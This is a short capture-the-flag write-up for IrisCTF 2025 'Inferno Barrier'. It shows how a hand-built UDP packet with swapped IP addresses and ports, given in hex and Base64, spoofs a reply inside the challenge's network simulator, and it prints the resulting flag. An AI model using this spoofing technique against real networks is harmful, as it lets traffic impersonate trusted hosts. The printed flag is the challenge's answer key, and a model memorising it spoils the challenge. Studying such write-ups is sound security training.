# IrisCTF 2025: Inferno Barrier
## Task:
```
Sees a firewall policy.
"Whoa. This is worthless!"
```
## Solution:
We have to receive and send packets in a network simulator. We can receive the first packet by turning promiscuous mode on with `prom on` and then running the `recv` command. This gives the following text message once decoded from Base64:
```
Announcement: error: no announcement configured.
Run 'select (generic|date|time|flag)' to configure.
```
To send a packet back with the message `select flag` we need to swap around the ports and IP values, and then change the length in the packet. For example, if we have the packet in hex:
```
45 00 {00 81} 00 01 00 00 40 11 F7 0C [C0 A8 01 0A] [C0 A8 01 04] (11 C1) (28 67) {00 6D} 9C D4 41 6E 6E 6F 75 6E 63 65 6D 65 6E 74 3A 20 65 72 72 6F 72 3A 20 6E 6F 20 61 6E 6E 6F 75 6E 63 65 6D 65 6E 74 20 63 6F 6E 66 69 67 75 72 65 64 2E 0A 52 75 6E 20 27 73 65 6C 65 63 74 20 28 67 65 6E 65 72 69 63 7C 64 61 74 65 7C 74 69 6D 65 7C 66 6C 61 67 29 27 20 74 6F 20 63 6F 6E 66 69 67 75 72 65 2E 0A
```
{} - Length values
[] - IPs
() - Ports
We can construct a new packet (as hex):
```
45 00 00 27 00 01 00 00 40 11 00 00 C0 A8 01 04 C0 A8 01 0A 28 67 11 C1 00 13 00 00 73 65 6C 65 63 74 20 66 6C 61 67
```
In Base64:
```
RQAAJwABAABAEQAAwKgBBMCoAQooZxHBABMAAHNlbGVjdCBmbGFn
```
Exit promiscuous mode with `prom off` and run `emit` with the new Base64 encoded packet, then go back into promiscuous mode with `prom on` and run `recv`, and you will get this:
```
RQAAYQABAABAEfcswKgBCsCoAQQRwShnAE0Ys0Fubm91bmNlbWVudDogaXJpc2N0Znt1ZHBfMXBfc3AwMGZpbmdfaXNfdHIxdmlhbF9idXRfdW4xZGlyM2N0MTBuYWx9Cg==
```
Just decode this, and you will get the flag.
P.S: A lot of the swapping might not be needed? This solution worked for me, at least. Also I nulled out the checksum parts, which somehow worked too?
## Flag:
`irisctf{udp_1p_sp00fing_is_tr1vial_but_un1dir3ct10nal}`
## Resources:
https://hpd.gasmi.net/ (Packet analysis tool)